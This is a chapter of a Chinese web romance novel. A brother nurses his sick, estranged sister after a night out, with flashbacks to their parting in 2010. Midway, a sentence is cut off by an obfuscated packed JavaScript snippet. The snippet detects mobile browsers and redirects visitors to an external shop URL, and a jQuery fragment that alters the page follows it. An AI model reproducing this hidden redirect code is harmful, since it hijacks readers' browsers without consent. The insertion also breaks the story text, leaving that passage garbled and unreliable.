后巷的穿堂风更硬，卷着落叶刮过黑色的车身。


    申辰的车就停在隐阁后门


    他正倚着车门抽烟，见钟温婷这副惨白如纸却又无懈可击的客气。手一抖，手机差点没拿稳。


    眼底掠过一抹极深的疼，却在触及到钟谨北目光时，生生给咽了回去。


    “不是，温温。这京城的风水是不是跟你八字不合该是怎么样？回回见你，都跟刚从冰窖里捞出来似的。沈复那王八蛋准是难为你了？谨北也是，非得带你来受这份罪。”


    他利落地拉开后座车门，还没等伸手去扶，钟谨北已经先一步按住了车门顶端，挡住了所有多余的视线。


    她踩着细高跟，稳稳地坐进车厢，脊背贴上冰冷皮椅的那一刻，几不可察地打了个寒噤。


    车门关上，将所有的喧嚣和冷意隔绝在外。


    钟谨北坐进副驾驶，没去后座挤她，却通过后视镜死死锁住她的脸。


    “申辰，开稳点。她胃不舒服。”


    车身平稳启动，驶入深沉的夜色。


    钟温婷偏过头，看着窗外倒退的树影，胃里的剧痛已经转为一种空洞。


    申辰开着那辆低调的黑色轿车，平稳地穿梭在京城深夜的环线上。


    车内只有仪表盘发出微弱的荧光，后座的钟温婷靠在椅背上，闭着眼，脸色在流动的阴影里显得愈发苍白。


    钟谨北坐在副驾驶，上半身绷得极紧。


    他透过后视镜，盯着她紧蹙的眉心。


    “开快点。”


    钟谨北的声音压得很低，带着股躁郁的冷。


    申辰扫了一眼后视镜，脚下油门踩深了几分。


    他腾出一只手，从扶手箱里翻出一盒薄荷膏，随手丢给钟谨北。


    “北哥，收收你那杀气。温温这是真难受，不是跟你演呢。待会儿回了宅子，你让张妈熬点养胃的。她这性子你又不是不知道，娇气里带着硬，你越横，她越不低头。”


    车子驶入钟家老宅所在的深巷，两旁的古槐树影斑驳地扫过车窗。


    钟谨北在车还没停稳时就解开了安全带。


    他推开车门，北京的冷风瞬间灌入。


    没等申辰，直接绕到后座，拉开车门。


    俯下身，看着蜷缩在阴影里的钟温婷，伸出去的手在半空中停顿了半秒。


    “温温，到了。下来。”


    钟温婷没动。


    于是终究是没忍住，温热的掌心贴上了她冰凉的额头。


    “别闹了，大哥哥带你回去吃药。”


    车厢里静得落针可闻，只有发动机熄火后细微的余温散发声。


    ……


    2010年，三月；钟温婷在阁楼收拾行囊。


    香港几个红商送来了一场秋雨，准备在北京六环换下审批。


    当晚五彩飞燕，有人唱起来红极一时的旋律。


    徐徐回望


    cui cui wui mong


    ……


    流利的国语伴随着歌声讲述着歌者临别在即，一切要讲的话也不知从哪里开始，唯有凭歌寄意，把几年以来所想所讲，以歌词表达出来。


    彼时钟温婷十岁，第二天即将飞往遥远的南方。


    十七岁的钟谨北刚从霓虹脱身，赶往隐秘的阁楼赴一场长达数年的分别。


    阁楼很大，是个正经的闺房，蕾丝帷帐，满目少女心事。


    钟温婷蹲在地上带着她的小熊和兔子，额头贴着退烧贴。


    钟谨北蹲在地上陪同她一起收着，把衣服叠进箱子。


    他问她，“过两年，大哥哥带你回来。”


    不是去找，是带她回家。


    可十岁的钟温婷大约明白了什么是分别，她把自己最后的日记本放好，闷闷嗯了一声没说话。


    十五天前，钟家最后一位老太太，钱承氏病逝。


    至此，钟家动荡，一代落幕，新朝重开；钟温婷结束钟家六年温居送往南方。


    这一别的就是十六年，期间风云迭起，两朝换代，钟家依旧在历史洪流屹立不倒。


    2026年，歌声再次响起，在寂静的深巷。


    新生代砥柱中流前行的风沙中，仍有人唱起这首经典。


    来日纵使千千晚星，


    loi ya zong si cin cin man sing,


    亮过今晚月亮，


    loeng guo gam man yv loeng,


    都比不起这宵美丽，


    dou bei ba hei zei siu mei lei,


    ……


    此时的钟温婷虚弱地靠在冰冷的皮质座椅上，呼吸颤得厉害，却始终没有睁开。


    胃里的痉挛像是有条带钩的锁链，每呼吸一次都牵扯着内脏生疼。


    她能感觉到钟谨北那股子熟悉的、带着清冷乌木沉香的气息压了过来，那只温热的手掌贴在她额头上，烫得她心尖儿发颤。


    一如十六年前。


    钟谨北的手心感受着她额头那层细密的冷汗，眼底被一种近乎挫败的怜惜取代。


    他半躬着身子，那个姿态在申辰看来，竟显出几分低头的弧度。


    “温温，听话。申辰，去把宅子里备好的药拿出来。”


    钟谨北的声音低得不能再低，轻得像怕惊动深夜里最后一点念想。


    申辰在驾驶位上叹了口气，推开车门下去，动作极快地往老宅大门走。


    “北哥，你抱她进去吧。这风口硬，别再激着胃，温温你也是，明明都要疼晕过去了，还要在这儿跟自个儿亲哥演这种疏离戏码……”


    钟谨北没等申辰回话，直接伸手垫过钟温婷的膝弯，另一只手稳稳地托住她的后背。


    他深吸一口气，避开她礼服上那些繁琐的装饰，将那个轻得像片纸一样的身躯打横抱了起来。


    “温温，别乱动。我知道你恶心我，想吐就往我身上吐，不差这一身西装。”


    老宅朱红的大门缓缓开启，世家门阀的轮轴发出沉重的吱呀声。


    钟谨北抱着人，大步走进了那片深黑的潮水里。


    申辰透过后视镜看着这一幕，烟已经抽到了滤嘴，火星灼指，烦躁地把烟头按进烟灰缸。


    车轮碾过青砖地的声音彻底消失，老宅的深影里，只有钟谨北沉稳却略显急促的呼吸。


    他跨过那道沉重的木质门槛，玄关的灯光昏黄，映出他紧绷的下颌线。


    钟温婷任由他抱着，脑袋无力地靠在他的肩头。


    那股子浓烈的烟草味钻进鼻腔，混合着他身上常年不散的冷冽雪松香，让她那阵因为胃部痉挛而泛起的恶心感里，又生出一种近乎自虐的安稳。


    钟云霆今天早上回基地了。


    内宅的张妈早就候着了，手里端着刚熬好的药汁，还没开口，就被钟谨北一个冷戾的眼神给压了回去。


    “药放下，滚出去。”


    钟谨北压低声音，踢开卧室的房门。


    他动作极轻地将钟温婷放在那张宽大得有些空旷的床上，手掌依旧托着她的后脑，不让她那颗沉重的脑袋直接撞上枕头。


    坐在床沿，他借着台灯微弱的光，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17403913|200346||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    伸手去解她颈后那枚细小的珍珠扣。


    卧室里只点了一盏昏黄的壁灯。


    钟温婷陷在厚重的被褥间，整个人像是被抽干了精气神的瓷娃娃。


    颈后那枚珍珠扣被指尖拨开，真丝面料滑落的声音在死寂的房间里清晰可闻。


    她没有任何反应，甚至连睫毛都懒得颤动一下，只有那微弱到几乎察觉不到的呼吸，证明她还清醒地承受着这一切。


    钟谨北的手落在她颈后。那一小片皮肤很白，在灯下几乎没有血色。


    指尖顺着脊骨往下。很慢。


    她没动。


    肩胛骨在薄衣下凸起，轮廓清楚。骨头的形状被手指一点点摸出来，冷而硬。


    屋子里很安静。桌上的药还在冒热气。苦味一点点散开。


    也没有抬头，头发湿着，贴在侧颈，礼服皱了，她像没看见。


    钟谨北的手停在那块骨头上。没有用力。


    从前她不是这样。


    小时候的钟温婷会躲会踢人，咬人。


    闹得厉害。


    现在不闹，也不躲。


    她只是躺着像把一切都收回去了。


    钟谨北看着她，很久。


    药的热气慢慢散。


    屋里只剩下一点苦味。


    柳西霆的名字在两人的空气里停过一瞬。


    没有人接住。


    灯光落在她肩背上，骨头的影子很清。


    钟谨北的手指停在那里。


    像是按住什么，又像什么都没有按住。


    起身去拿那碗药，又重新坐回床边，瓷碗边缘在木质桌面上拖出一声沉闷的声线。


    伸手将她半抱进怀里，动作里带着一种不容置绝的强硬。


    “喝了。别逼我用灌的。”


    钟温婷不为所动。


    钟谨北舀起一勺药汁，细心地吹了吹，递到她毫无血色的唇边。


    卑微的乞讨，“温温，算我求你。”


    过了一会儿，钟温婷伸手接过了那只瓷碗。


    指尖和钟谨北的虎口擦过，很凉，那曾经她最需要的触感。


    她没用那只精巧的骨瓷勺，而是就着碗沿，忍着那股子要把嗓子眼熏出来的苦辣劲儿，仰头一饮而尽。


    房间里安静了一阵。


    浓黑的药汁入喉，压下了胃里残存的酒气，却激起了一阵更深层的麻木。


    空碗放在床头。瓷器轻轻碰了一下木面。


    她说，“既然觉得为难，又何必在这儿装得深情。钟谨北，你吹那一勺药的时候，心里想的是不是沈复那份批文，或者是明天柳西霆落地的时间？这药苦，可最苦的是你这份施舍般的温柔。我自己喝，不需要你伺候。你那双手是用来握权柄的，不是用来伺候一个棋子的。你既然已经把我做了，就做得彻底一点，这样只会让我觉得，你比沈复还要虚伪。”


    钟谨北保持着那个前倾的姿势。


    他看着那个绝决的脊背，昏暗的灯光把她的轮廓勾勒得支离破碎。


    僵坐了片刻，最后还是伸手，替她掖了掖被角，指尖克制地没触碰到她的皮肤。


    “睡吧。”


    嗓音低得几乎听不见，“明天的事，天亮再说。”


    壁灯的火光在眼睑外虚虚地晃，梦境像潮汐，不由分说地把她拖回了那个潮湿的南边。


    那是她十八岁的成人礼。


    北京的盛夏，空气里满是发酵的土檀味和栀子花香。


    钟家的大宅张灯结彩，可那些喧嚣隔着厚重的水磨石墙，传到她耳朵里时，只剩下一种遥远的、事不关己的嗡鸣。